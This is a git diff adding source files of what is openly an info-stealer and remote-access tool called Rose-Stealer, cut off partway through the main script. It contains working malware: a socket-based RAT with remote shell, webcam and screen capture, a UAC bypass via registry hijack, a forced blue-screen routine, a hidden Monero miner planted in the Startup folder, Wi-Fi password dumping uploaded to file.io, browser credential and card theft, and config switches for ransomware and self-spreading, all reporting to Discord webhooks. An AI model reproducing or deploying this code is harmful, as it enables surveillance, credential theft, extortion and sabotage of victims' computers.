timestamp="now") # sets the timestamp to current time + + embed.set_author(name=f"Shutting down the PC", icon_url=cc.get_avatar()) + embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar()) + + self.webhook.send(embed=embed) + os.system("shutdown /s /t 1") + + def webcampic(self): # Take a picture with the webcam and send it with the webhook + try: + cam = cv2.VideoCapture(0) # 0 -> index of camera + s, img = cam.read() + if s: # frame captured without any errors + suc, buffer = cv2.imencode(".jpg", img) + io_buf = io.BytesIO(buffer) + file = File(io_buf, name="cam.jpg") + self.webhook.send(file=file) + + except Exception as e: + embed = Embed(description="Rose RAT", color=16399677, timestamp="now") # sets the timestamp to current time + + embed.set_author(name=f"WebcamPIC Error", icon_url=cc.get_avatar()) + embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar()) + embed.add_field(name="Advanced log:", value=f"`{e}`") + + self.webhook.send(embed=embed) + + def volumeup(self): + for i in range(50): + self.keyboard.press(Key.media_volume_up) + self.keyboard.release(Key.media_volume_up) + + def volumedown(self): + for i in range(50): + self.keyboard.press(Key.media_volume_down) + self.keyboard.release(Key.media_volume_down) + + def voice(self, text): + self.volumeup() + engine = pyttsx3.init() + engine.setProperty("rate", 150) + engine.say(text) + engine.runAndWait() + + def uptime(self): + embed = Embed(description="Rose RAT", color=11495919, timestamp="now") # sets the timestamp to current time + + embed.set_author(name=f"Connection Uptime", icon_url=cc.get_avatar()) + embed.add_field(name="Uptime :", value=datetime.now()) + embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar()) + + self.webhook.send(embed=embed) + + def screenshare(self): + def to_execute(self): + import socketio + from zlib import compress + import time + + from mss import mss + + _sio = socketio.Client() + + WIDTH = 1900 + HEIGHT = 1000 + + @_sio.event + def connect(): + while True: + with mss() as sct: + # The region to capture + rect = {"top": 0, "left": 0, "width": WIDTH, "height": HEIGHT} + + while True: + # Capture the screen + img = sct.grab(rect) + # Tweak the compression level here (0-9) + pixels = compress(img.rgb, 6) + + # Send the size of the pixels length + size = len(pixels) + size_len = (size.bit_length() + 7) // 8 + final_size_len = bytes([size_len]) + # conn.send(bytes([size_len])) + + # Send the actual pixels length + size_bytes = size.to_bytes(size_len, "big") + final_size_bytes = size_bytes + # conn.send(size_bytes) + + # Send pixels + # conn.sendall(pixels) + + _sio.emit("sending_screenshot", {"data": {"size_len": final_size_len, "size_bytes": final_size_bytes, "pixels": pixels}}) + time.sleep(0.5) # Don't overload the server + + _sio.connect(cc.get_rose_discord_rat_link()) + + t = threading.Thread(target=to_execute, args=(self,)) + t.run() + + +cmdhandler = CommandHandler() + + +@sio.event +def connect(): + start_time = datetime.now() + sio.emit( + "rose_connect", + { + "data": { + "ip": ii.get_ip(), + "username": ii.get_username(), + "server": cc.get_rose_discord_rat_link(), + "webhook": cc.get_webhook(), + "avatar": cc.get_avatar(), + "footer": cc.get_footer(), + } + }, + ) + + +@sio.event +def receive_command(data): + if data["data"] == "screenshot": + cmdhandler.screenshot() + + if data["data"].startswith("messagebox") is True: + cmdhandler.messagebox(data["data"].split("messagebox", 1)[1]) + + if data["data"].startswith("shell") is True: + cmdhandler.shell(data["data"].split("shell", 1)[1]) + + if data["data"].startswith("voice") is True: + cmdhandler.voice(data["data"].split("voice", 1)[1]) + + if data["data"] == "screenshare": + cmdhandler.screenshare() + + if data["data"] == "volumemax": + cmdhandler.volumeup() + + if data["data"] == "volumezero": + cmdhandler.volumedown() + + if data["data"] == "shutdown": + cmdhandler.shutdown() + + if data["data"] == "webcampic": + cmdhandler.webcampic() + + if data["data"] == "uptime": + cmdhandler.uptime() + + +@sio.event +def disconnect(): + print("disconnect") + + +def run_rat(): + sio.connect(cc.get_rose_discord_rat_link()) + sio.wait() diff --git a/Rose-Stealerv1/resources/source/old/sysinf.py b/Rose-Stealerv1/resources/source/old/sysinf.py new file mode 100644 index 0000000..a27ede7 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/sysinf.py @@ -0,0 +1,215 @@ +import os +import wmi +import subprocess +import GPUtil +import sys +import psutil +import pywifi +import uuid +import pyautogui +import pygame.camera +import socket +import platform +import requests +from bin.config import Config +from datetime import datetime + +cc = Config() + +webhook = cc.get_webhook() +eb_color = cc.get_color() + + +def get_drive_info(): + drive_info = [] + partitions = psutil.disk_partitions() + + for partition in partitions: + drive = {} + drive["device"] = partition.device + drive["mountpoint"] = partition.mountpoint + + try: + usage = psutil.disk_usage(partition.mountpoint) + drive["total"] = usage.total + drive["used"] = usage.used + drive_info.append(drive) + except OSError as e: + continue + + return drive_info + + +def format_drive_info(drives): + formatted_info = [] + for drive in drives: + formatted = f"Drive: {drive['device']} (Mountpoint: {drive['mountpoint']}) - " f"Total Space: {drive['total']} bytes - " f"Used Space: {drive['used']} bytes" + formatted_info.append(formatted) + return " - ".join(formatted_info) + + +pygame.camera.init() +username = str(os.getenv("USERNAME")) +hostname = str(os.environ["COMPUTERNAME"]) +hwid = subprocess.check_output("wmic csproduct get uuid").split(b"\n")[1].strip().decode("utf-8", errors="ignore") +wifi_interfaces = pywifi.PyWiFi().interfaces() +iface = wifi_interfaces[0] if wifi_interfaces else None +ssid, bssid = "No result", "No result" +if iface: + iface.scan() + for result in iface.scan_results(): + try: + ssid = result.ssid + bssid = result.bssid + except: + pass + # For some reason this may result in an error (https://github.com/DamagingRose/Rose-Grabber/issues/167) + # pywifi/profile.py already initializes an SSID variable, so why this happens in unknown. + +lang = subprocess.check_output("wmic os get MUILanguages /format:list").decode().strip().split("\r\r\n")[0].split("=")[1] if subprocess.check_output("wmic os get MUILanguages /format:list", shell=True).decode().strip() else "No Language" +try: + system_output = subprocess.check_output("wmic os get Caption /format:list", shell=True).decode().strip() +except: + system_output = None +system = str(system_output.split("\r\r\n")[0].split("=")[1]) if system_output else "No System Information" +output = subprocess.check_output("wmic path softwarelicensingservice get OA3xOriginalProductKey", shell=True).decode().strip() +product_key = str(output.split("\n", 1)[-1].strip()) if output else "No Product Key" +ram = str(round(psutil.virtual_memory().total / (1024.0**3))) + " GB" +power = str(psutil.sensors_battery().percent) + "%" if psutil.sensors_battery() is not None else "No battery" +screen = f"{pyautogui.size()[0]}x{pyautogui.size()[1]}" +webcams_count = len(pygame.camera.list_cameras()) +internal_ip = str(socket.gethostbyname(socket.gethostname())) +external_ip = str(requests.get("https://api.ipify.org").text) +gpus = GPUtil.getGPUs() +gpu_info = str("") +for gpu in gpus: + gpu_info += f"GPU Name: {gpu.name} - GPU Driver: {gpu.driver} - GPU Memory Total: {gpu.memoryTotal}MB - GPU Memory Free: {gpu.memoryFree}MB - GPU Memory Used: {gpu.memoryUsed}MB" +info = wmi.WMI().Win32_Processor()[0] +cpu_info = str(f"Name: {info.Name} - Arch: x{info.AddressWidth} - Cores: {info.NumberOfCores}") +current_execution_path = str(os.path.join(os.getcwd(), sys.argv[0])) +drives = get_drive_info() +drive_info_string = str(format_drive_info(drives)) +mac_address = str(":".join(["{:02X}".format((uuid.getnode() >> elements) & 0xFF) for elements in range(0, 2 * 6, 2)][::-1])) +processor_id = str(platform.processor()) +device_model = (lambda output: output.split("\n")[1].strip() if output else "No Device Model")(str(subprocess.check_output("wmic csproduct get name"), "utf-8")) +current_time_iso = datetime.now().isoformat() + + +def send_device_information(): + embed = { + "title": "Rose Report", + "description": "Rose Instance - System Information", + "color": eb_color, + "fields": [ + { + "name": "Hostname", + "value": f"`{hostname}`", + "inline": False, + }, + { + "name": "Username", + "value": f"`{username}`", + "inline": False, + }, + { + "name": "Device Model", + "value": f"`{device_model}`", + "inline": False, + }, + { + "name": "HWID", + "value": f"`{hwid}`", + "inline": False, + }, + { + "name": "SSID", + "value": f"`{ssid}`", + "inline": False, + }, + { + "name": "BSSID", + "value": f"`{bssid}`", + "inline": False, + }, + { + "name": "Language", + "value": f"`{lang}`", + "inline": False, + }, + { + "name": "System", + "value": f"`{system}`", + "inline": False, + }, + { + "name": "Product Key", + "value": f"`{product_key}`", + "inline": False, + }, + { + "name": "RAM", + "value": f"`{ram}`", + "inline": False, + }, + { + "name": "Power", + "value": f"`{power}`", + "inline": False, + }, + { + "name": "Screen", + "value": f"`{screen}`", + "inline": False, + }, + { + "name": "Webcams", + "value": f"`{webcams_count}`", + "inline": False, + }, + { + "name": "Internal IP", + "value": f"`{internal_ip}`", + "inline": False, + }, + { + "name": "External IP", + "value": f"`{external_ip}`", + "inline": False, + }, + { + "name": "GPU", + "value": f"`{gpu_info}`", + "inline": False, + }, + { + "name": "CPU", + "value": f"`{cpu_info}`", + "inline": False, + }, + { + "name": "Current Execution Path", + "value": f"`{current_execution_path}`", + "inline": False, + }, + { + "name": "Drives", + "value": f"`{drive_info_string}`", + "inline": False, + }, + { + "name": "MAC Address", + "value": f"`{mac_address}`", + "inline": False, + }, + { + "name": "Processor ID", + "value": f"`{processor_id}`", + "inline": False, + }, + ], + "footer": {"text": cc.get_footer(), "icon_url": cc.get_avatar()}, + "author": {"name": cc.get_name(), "icon_url": cc.get_avatar()}, + "timestamp": current_time_iso, + } + + requests.post(webhook, json={"embeds": [embed]}) diff --git a/Rose-Stealerv1/resources/source/old/tbsod.py b/Rose-Stealerv1/resources/source/old/tbsod.py new file mode 100644 index 0000000..c25d324 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/tbsod.py @@ -0,0 +1,14 @@ +from ctypes import windll +from ctypes import c_int +from ctypes import c_uint +from ctypes import c_ulong +from ctypes import POINTER +from ctypes import byref + + +def Trigger(): + nullptr = POINTER(c_int)() + + windll.ntdll.RtlAdjustPrivilege(c_uint(19), c_uint(1), c_uint(0), byref(c_int())) + + windll.ntdll.NtRaiseHardError(c_ulong(0xC000007B), c_ulong(0), nullptr, nullptr, c_uint(6), byref(c_uint())) diff --git a/Rose-Stealerv1/resources/source/old/uac_bypass.py b/Rose-Stealerv1/resources/source/old/uac_bypass.py new file mode 100644 index 0000000..3c4d7f9 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/uac_bypass.py @@ -0,0 +1,40 @@ +import subprocess +import ctypes +import sys + + +def UACbypass(method: int = 1) -> bool: + if GetSelf()[1]: + execute = lambda cmd: subprocess.run(cmd, shell=True, capture_output=True) + if method == 1: + execute(f'reg add hkcu\Software\\Classes\\ms-settings\\shell\\open\\command /d "{sys.executable}" /f') + execute('reg add hkcu\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f') + log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout.decode("utf-8")) + execute("computerdefaults --nouacbypass") + log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout.decode("utf-8")) + execute("reg delete hkcu\Software\\Classes\\ms-settings /f") + if log_count_after > log_count_before: + return UACbypass(method + 1) + elif method == 2: + execute(f'reg add hkcu\Software\\Classes\\ms-settings\\shell\\open\\command /d "{sys.executable}" /f') + execute('reg add hkcu\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f') + log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout.decode("utf-8")) + execute("fodhelper --nouacbypass") + log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout.decode("utf-8")) + execute("reg delete hkcu\Software\\Classes\\ms-settings /f") + if log_count_after > log_count_before: + return UACbypass(method + 1) + else: + return False + return True + + +def IsAdmin() -> bool: + return ctypes.windll.shell32.IsUserAnAdmin() == 1 + + +def GetSelf() -> tuple[str, bool]: + if hasattr(sys, "frozen"): + return (sys.executable, True) + else: + return (__file__, False) diff --git a/Rose-Stealerv1/resources/source/old/webhook.py b/Rose-Stealerv1/resources/source/old/webhook.py new file mode 100644 index 0000000..fae63e7 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/webhook.py @@ -0,0 +1,14 @@ +from dhooks import Webhook +from bin.config import Config +import requests + +cc = Config() + + +class _WebhookX: + def __init__(self): + self.webx = Webhook(cc.get_webhook()) + self.webx.modify(name=cc.get_name(), avatar=requests.get(cc.get_avatar()).content) + + def get_object(self): + return self.webx diff --git a/Rose-Stealerv1/resources/source/old/xmr_miner.py b/Rose-Stealerv1/resources/source/old/xmr_miner.py new file mode 100644 index 0000000..4c58ce9 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/xmr_miner.py @@ -0,0 +1,61 @@ +import subprocess +import os +import sys +from bin.config import Config +from bin._random_string import get_random_string + +cc = Config() + + +def xmrig(): + batch_code = """ +@echo off + +set XMRIG_URL=https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip + +REM Generating a random directory name for installation +set "INSTALL_DIR=%APPDATA%\\rose\\%RANDOM%\\%RANDOM%" + +mkdir "%INSTALL_DIR%" +cd /d "%INSTALL_DIR%" + +powershell -command "& {{Invoke-WebRequest '%XMRIG_URL%' -OutFile 'xmrig.zip'}}" + +powershell -command "& {{Expand-Archive -Path '.\\xmrig.zip' -DestinationPath '.'}}" + +cd xmrig-6.21.0 + +echo @echo off > start_xmrig.bat +echo cd /d "%INSTALL_DIR%\\xmrig-6.21.0" >> start_xmrig.bat +echo start xmrig.exe --donate-level 1 -o de.monero.herominers.com:1111 -u {} -p {} -a rx/0 -k --background >> start_xmrig.bat + +echo move /y "start_xmrig.bat" "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" > move_to_startup.bat +call move_to_startup.bat +del move_to_startup.bat + +cd %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ +call start_xmrig.bat %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ +exit +""".format( + cc.get_xmr_adress(), get_random_string(12) + ) + + batch_filepath = os.path.join(os.environ["TEMP"], "batchscript.bat") + + with open(batch_filepath, "w") as f: + f.write(batch_code) + + startupinfo = subprocess.STARTUPINFO() + startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW + + process = subprocess.Popen( + ["cmd.exe", "/c", batch_filepath], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + startupinfo=startupinfo, + ) + + stdout, stderr = process.communicate() + + if stderr: + print(stderr.decode(), file=sys.stderr) diff --git a/Rose-Stealerv1/resources/source/rose.py b/Rose-Stealerv1/resources/source/rose.py new file mode 100644 index 0000000..186775c --- /dev/null +++ b/Rose-Stealerv1/resources/source/rose.py @@ -0,0 +1,3218 @@ +import os +import re +import ctypes +import pygame.camera +import subprocess +import threading +import sys +import platform +import shutil +import sqlite3 +import string +import random +import browser_cookie3 +import base64 +import json +import requests +import psutil +import discord +import winreg +import win32con +import keyboard +import pywifi +import pathlib +import cv2 +import aiohttp +import io +import time +import pyttsx3 +import webbrowser +import socketio +import uuid +import socket +import pyautogui +import wmi +import GPUtil +import zipfile +import getmac +import errno +from zipfile import ZipFile +from urllib.error import URLError +from pynput.keyboard import Key, Controller +from cryptography.fernet import Fernet +from ctypes import windll +from ctypes import c_int +from ctypes import c_uint +from ctypes import c_ulong +from ctypes import POINTER +from win32crypt import CryptUnprotectData +from discord.ext import commands +from sys import argv +from ctypes import byref +from datetime import datetime +from dhooks import File, Embed, Webhook +from base64 import b64decode +from Crypto.Cipher import AES +from urllib.request import Request, urlopen +from ctypes import POINTER, Structure, byref, c_buffer, c_char, cdll, windll, wintypes +from json import loads, dumps +from PIL import ImageGrab +from zipfile import ZipFile + + +class Config: + def __init__(self): + self.webhook = "WEBHOOK_URL" + + self.debug_mode = False + + self.rose_discord_rat = False + self.rose_discord_rat_socket_link = "ROSE_DISCORD_RAT_SOCKET_LINK" + + self.knight_discord_rat = False + self.knight_discord_rat_bot_token = "KNIGHT_DISCORD_RAT_BOT_TOKEN" + self.knight_discord_rat_channel_id = "KNIGHT_DISCORD_RAT_CHANNEL_ID" + self.knight_discord_rat_prefix = "KNIGHT_DISCORD_RAT_PREFIX" + + self.ransomware = False + self.ransomware_email_adress = "RANS0MWARE_EMAIL" + self.ransomware_monero_wallet_adress = "RANSOMWARE_MONERO_ADRESS_" + self.ransomware_discord_webhook_url = "RANSOMWARE_WEBHOOKURL" + self.ransomware_amount_of_money = "RANSOMWARE_AMOUNT_0F_MONEY" + + self.discord_ping = False + self.injection = False + self.token_stealing = False + self.browser_stealing = False + self.deviceinf_stealing = False + self.ipinf_stealing = False + self.roblox_stealing = False + self.screenshot = False + self.start_up = False + self.xmr_miner = False + self.xmr_adress = "wallet_adressss" + self.fake_error = False + self.nitro_auto_buy = False + self.uac_bypass = False + self.antivm = False + self.webcam = False + self.spread_malware = False + self.spread_malware_msg = "SPRMALWARE_MSFG" + self.rose_melt_stub = False + self.games = False + self.ts_bsod = False + self.bbcrash = False + self.disable_protectors = False + self.block_sites = False + + self.eb_color = 16711680 + self.eb_footer = "Rose-Stealer | t.me/rosegrabber" + self.wh_avatar = "https://raw.githubusercontent.com/rose-dll/Rose-Stealer/main/resources/assets/rose.png" + self.wh_name = "Rose-Stealer | t.me/rosegrabber" + + def get_roblox_stealing(self): + return self.roblox_stealing + + def get_injection(self): + return self.injection + + def get_token_stealing(self): + return self.token_stealing + + def get_browser_stealing(self): + return self.browser_stealing + + def get_deviceinf_stealing(self): + return self.deviceinf_stealing + + def get_ipinf_stealing(self): + return self.ipinf_stealing + + def get_webhook(self): + return self.webhook + + def get_color(self): + return self.eb_color + + def get_footer(self): + return self.eb_footer + + def get_debug_mode(self): + return self.debug_mode + + def get_avatar(self): + return self.wh_avatar + + def get_name(self): + return self.wh_name + + def get_rose_discord_rat(self): + return self.rose_discord_rat + + def get_rose_discord_rat_link(self): + return self.rose_discord_rat_socket_link + + def get_knight_discord_rat(self): + return self.knight_discord_rat + + def get_knight_discord_rat_bot_token(self): + return self.knight_discord_rat_bot_token + + def get_knight_discord_rat_channel_id(self): + return self.knight_discord_rat_channel_id + + def get_knight_discord_rat_prefix(self): + return self.knight_discord_rat_prefix + + def get_discord_ping(self): + return self.discord_ping + + def get_screenshot(self): + return self.screenshot + + def get_start_up(self): + return self.start_up + + def get_xmr_miner(self): + return self.xmr_miner + + def get_xmr_adress(self): + return self.xmr_adress + + def get_fake_error(self): + return self.fake_error + + def get_nitro_auto_buy(self): + return self.nitro_auto_buy + + def get_uac_bypass(self): + return self.uac_bypass + + def get_antivm(self): + return self.antivm + + def get_webcam(self): + return self.webcam + + def get_ransomware_email_adress(self): + return self.ransomware_email_adress + + def get_ransomware_amount_of_money(self): + return self.ransomware_amount_of_money + + def get_ransomware_monero_wallet_adress(self): + return self.ransomware_monero_wallet_adress + + def get_ransomware_discord_webhook_url(self): + return self.ransomware_discord_webhook_url + + def get_ransomware(self): + return self.ransomware + + def get_spread_malware(self): + return self.spread_malware + + def get_spread_malware_msg(self): + return self.spread_malware_msg + + def get_rose_melt_stub(self): + return self.rose_melt_stub + + def get_games(self): + return self.games + + def get_tsbsod(self): + return self.ts_bsod + + def get_disable_protectors(self): + return self.disable_protectors + + def get_block_sites(self): + return self.block_sites + + +cc = Config() + +if platform.system() != "Windows": + sys.exit() + +main_path = os.path.join(os.getenv("APPDATA"), "roseontop") +webhook = cc.get_webhook() +debug_mode = cc.get_debug_mode() +wh_avatar = cc.get_avatar() +wh_name = cc.get_name() +eb_color = cc.get_color() +eb_footer = cc.get_footer() + +Threadlist = [] +local = os.getenv("LOCALAPPDATA") +roaming = os.getenv("APPDATA") +temp = os.getenv("TEMP") +username = os.getlogin() + + +class DATA_BLOB(Structure): + _fields_ = [("cbData", wintypes.DWORD), ("pbData", POINTER(c_char))] + + +def GetData(blob_out): + cbData = int(blob_out.cbData) + pbData = blob_out.pbData + buffer = c_buffer(cbData) + cdll.msvcrt.memcpy(buffer, pbData, cbData) + windll.kernel32.LocalFree(pbData) + return buffer.raw + + +def send_error_notification(exception, type): + webx = _WebhookX().get_object() + + embed = Embed(title="Rose Report", description="Rose Instance - Error", color=eb_color, timestamp=datetime.now().isoformat()) + + embed.set_author(name=wh_name, icon_url=wh_avatar) + embed.set_footer(text=eb_footer, icon_url=wh_avatar) + embed.add_field(name=f"Error in {type} occured | Help us by reporting this bug", value=f"`{exception}`", inline=False) + + webx.send(embed=embed) + + +class _WebhookX: + def __init__(self): + self.webx = Webhook(cc.get_webhook()) + self.webx.modify(name=cc.get_name(), avatar=requests.get(cc.get_avatar()).content) + + def get_object(self): + return self.webx + + +def get_random_string(length): + letters = string.digits + result_str = "".join(random.choice(letters) for i in range(length)) + return result_str + + +class Info: + def __init__(self): + self.ip = self.get_public_ip() + + def run_command(self, command): + result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) + stdout = result.stdout.decode("utf-8", errors="replace") + stderr = result.stderr.decode("utf-8", errors="replace") + return stdout, stderr + + def get_wifi_profiles(self): + output, _ = self.run_command("netsh wlan show profiles") + profile_names = [profile.strip() for profile in output.split(":")] + return profile_names + + def get_wifi_profile_output(self, profile_name): + command = f'netsh wlan show profile name="{profile_name}" key=clear' + output, _ = self.run_command(command) + return output + + def get_public_ip(self): + try: + response = urlopen(Request("https://api.ipify.org"), timeout=10) + return response.read().decode().strip() + except URLError: + return "Unknown" + + def main(self): + wifi_profiles = self.get_wifi_profiles() + rndm_strr = get_random_string(25) + self.path = os.path.join(os.getenv("APPDATA"), "roseontop", f"wifi_profiles_{rndm_strr}.txt") + with open(self.path, "w", encoding="utf-8") as file: + for profile_name in wifi_profiles: + profile_output = self.get_wifi_profile_output(profile_name) + file.write(profile_output + "\n") + file.write("-" * 50 + "\n") + + upload_url = "https://file.io" + files = {"file": (os.path.basename(self.path), open(self.path, "rb"))} + response = requests.post(upload_url, files=files) + + if response.status_code == 200: + self.wif_dwnld_l = response.json().get("link", "Unknown") + else: + self.wif_dwnld_l = "Unknown" + + def send_data(self): + webx = _WebhookX().get_object() + + self.main() + + try: + response = requests.get(f"https://ipinfo.io/{self.ip}/json") + if response.status_code == 200: + self.ipdata = response.json() + except Exception: + return {} + + embed = Embed(title="Rose Report", description="Rose Instance - IP and WIFI Information", color=cc.get_color(), timestamp=datetime.now().isoformat()) + + embed.set_author(name=cc.get_name(), icon_url=cc.get_avatar()) + embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar()) + + embed.add_field(name="IP", value=f"`{self.get_public_ip()}`", inline=False) + embed.add_field(name="Country", value=f'`{self.ipdata.get("country", "Unknown")}`', inline=False) + embed.add_field(name="City", value=f'`{self.ipdata.get("city", "Unknown")}`', inline=False) + embed.add_field(name="Postal", value=f'`{self.ipdata.get("postal", "Unknown")}`', inline=False) + embed.add_field(name="Latitude", value=f'`{self.ipdata.get("loc", "Unknown").split(",")[0]}`', inline=False) + embed.add_field(name="Longtitude", value=f'`{self.ipdata.get("loc", "Unknown").split(",")[1]}`', inline=False) + embed.add_field(name="State", value=f'`{self.ipdata.get("region", "Unknown")}`', inline=False) + + embed.add_field(name="WIFI", value=f"[Download]({self.wif_dwnld_l})", inline=False) + + webx.send(embed=embed) + os.remove(self.path) + + @staticmethod + def get_username(): + return os.getlogin() + + +ifx = Info() + + +def UACbypass(method: int = 1) -> bool: + if GetSelf()[1]: + execute = lambda cmd: subprocess.run(cmd, shell=True, capture_output=True) + if method == 1: + execute(f'reg add hkcu\Software\\Classes\\ms-settings\\shell\\open\\command /d "{sys.executable}" /f') + execute('reg add hkcu\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f') + log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout.decode("utf-8", errors="ignore")) + execute("computerdefaults --nouacbypass") + log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout.decode("utf-8", errors="ignore")) + execute("reg delete hkcu\Software\\Classes\\ms-settings /f") + if log_count_after > log_count_before: + return UACbypass(method + 1) + elif method == 2: + execute(f'reg add hkcu\Software\\Classes\\ms-settings\\shell\\open\\command /d "{sys.executable}" /f') + execute('reg add hkcu\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f') + log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout.decode("utf-8", errors="ignore")) + execute("fodhelper --nouacbypass") + log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout.decode("utf-8", errors="ignore")) + execute("reg delete hkcu\Software\\Classes\\ms-settings /f") + if log_count_after > log_count_before: + return UACbypass(method + 1) + else: + return False + return True + + +def IsAdmin() -> bool: + return ctypes.windll.shell32.IsUserAnAdmin() == 1 + + +def GetSelf() -> tuple[str, bool]: + if hasattr(sys, "frozen"): + return (sys.executable, True) + else: + return (__file__, False) + + +__LOGINS__ = [] +__COOKIES__ = [] +__WEB_HISTORY__ = [] +__DOWNLOADS__ = [] +__CARDS__ = [] + + +class Browsers: + def __init__(self, webhook): + self.webhook = discord.SyncWebhook.from_url(webhook) + + Chromium() + Upload(self.webhook) + + +class Upload: + def __init__(self, webhook: discord.SyncWebhook): + self.webhook = webhook + + self.write_files() + self.send() + self.clean() + + def write_files(self): + os.makedirs(os.path.join(main_path, "vault"), exist_ok=True) + if __LOGINS__: + with open(os.path.join(main_path, "vault", "logins.txt"), "w", encoding="utf-8") as f: + f.write("\n".join(str(x) for x in __LOGINS__)) + + if __COOKIES__: + with open(os.path.join(main_path, "vault", "cookies.txt"), "w", encoding="utf-8") as f: + f.write("\n".join(str(x) for x in __COOKIES__)) + + if __WEB_HISTORY__: + with open(os.path.join(main_path, "vault", "web_history.txt"), "w", encoding="utf-8") as f: + f.write("\n".join(str(x) for x in __WEB_HISTORY__)) + + if __DOWNLOADS__: + with open(os.path.join(main_path, "vault", "downloads.txt"), "w", encoding="utf-8") as f: + f.write("\n".join(str(x) for x in __DOWNLOADS__)) + + if __CARDS__: + with open(os.path.join(main_path, "vault", "cards.txt"), "w", encoding="utf-8") as f: + f.write("\n".join(str(x) for x in __CARDS__)) + + with ZipFile(os.path.join(main_path, "vault.zip"), "w") as zip: + for file in os.listdir(os.path.join(main_path, "vault")): + zip.write(os.path.join(main_path, "vault", file), file) + + def send(self): + self.webhook.send(embed=Embed(title="Vault", description="```" + "\n".join(self.tree(pathlib.Path(os.path.join(main_path, "vault")))) + "```", timestamp=datetime.utcnow(), color=cc.get_color()), file=discord.File(os.path.join(main_path, "vault.zip")), username=cc.get_name(), avatar_url=cc.get_avatar()) + + def clean(self): + shutil.rmtree(os.path.join(main_path, "vault")) + os.remove(os.path.join(main_path, "vault.zip")) + + def tree(self, path: pathlib.Path, prefix: str = "", midfix_folder: str = "📂 - ", midfix_file: str = "📄 - "): + pipes = { + "space": " ", + "branch": "│ ", + "tee": "├── ", + "last": "└── ", + } + + if prefix == "": + yield midfix_folder + path.name + + contents = list(path.iterdir()) + pointers = [pipes["tee"]] * (len(contents) - 1) + [pipes["last"]] + for pointer, path in zip(pointers, contents): + if path.is_dir(): + yield f"{prefix}{pointer}{midfix_folder}{path.name} ({len(list(path.glob('**/*')))} files, {sum(f.stat().st_size for f in path.glob('**/*') if f.is_file()) / 1024:.2f} kb)" + extension = pipes["branch"] if pointer == pipes["tee"] else pipes["space"] + yield from self.tree(path, prefix=prefix + extension) + else: + yield f"{prefix}{pointer}{midfix_file}{path.name} ({path.stat().st_size / 1024:.2f} kb)" + + +class Chromium: + def __init__(self): + self.local = os.getenv("LOCALAPPDATA") + self.browsers = { + "opera-stable": self.local + "\\Opera Software\\Opera Stable", + "opera-gx-stable": self.local + "\\Opera Software\\Opera GX Stable", + "amigo": self.local + "\\Amigo\\User Data", + "torch": self.local + "\\Torch\\User Data", + "kometa": self.local + "\\Kometa\\User Data", + "orbitum": self.local + "\\Orbitum\\User Data", + "cent-browser": self.local + "\\CentBrowser\\User Data", + "7star": self.local + "\\7Star\\7Star\\User Data", + "sputnik": self.local + "\\Sputnik\\Sputnik\\User Data", + "vivaldi": self.local + "\\Vivaldi\\User Data", + "google-chrome-sxs": self.local + "\\Google\\Chrome SxS\\User Data", + "google-chrome": self.local + "\\Google\\Chrome\\User Data", + "epic-privacy-browser": self.local + "\\Epic Privacy Browser\\User Data", + "microsoft-edge": self.local + "\\Microsoft\\Edge\\User Data", + "uran": self.local + "\\uCozMedia\\Uran\\User Data", + "yandex": self.local + "\\Yandex\\YandexBrowser\\User Data", + "brave": self.local + "\\BraveSoftware\\Brave-Browser\\User Data", + "iridium": self.local + "\\Iridium\\User Data", + "google-chrome-beta": self.local + "\\Google\\Chrome Beta\\User Data", + "slimjet": self.local + "\\Slimjet\\User Data", + "maxthon3": self.local + "\\Maxthon3\\User Data", + "thorium": self.local + "\\Thorium\\User Data", + "avast-secure-browser": self.local + "\\AVAST Software\\Avast Secure Browser\\User Data", + "cyberfox": self.local + "\\8pecxstudios\\Cyberfox\\User Data", + "waterfox": self.local + "\\Waterfox\\Profiles", + "pale-moon": self.local + "\\Moonchild Productions\\Pale Moon\\Profiles", + "comodo-dragon": self.local + "\\Comodo\\Dragon\\User Data", + "coowon": self.local + "\\Coowon\\User Data", + "icecat": self.local + "\\GNU\\IceCat\\Profiles", + "basilisk": self.local + "\\Moonchild Productions\\Basilisk\\Profiles", + "otter-browser": self.local + "\\Otter\\Browser\\User Data", + "opium": self.local + "\\WebDir\\Opium\\User Data", + "chromodo": self.local + "\\Comodo\\Chromodo\\User Data", + "yandex-browser-beta": self.local + "\\Yandex\\YandexBrowserBeta\\User Data", + "srware-iron": self.local + "\\SRWare Iron\\User Data", + "qutebrowser": self.local + "\\qutebrowser", + "edge-sxs": self.local + "\\Microsoft\\Edge SxS\\User Data", + "vivaldi-snapshot": self.local + "\\VivaldiSnapshot\\User Data", + } + self.profiles = [ + "Default", + "Profile 1", + "Profile 2", + "Profile 3", + "Profile 4", + "Profile 5", + ] + + for _, path in self.browsers.items(): + if not 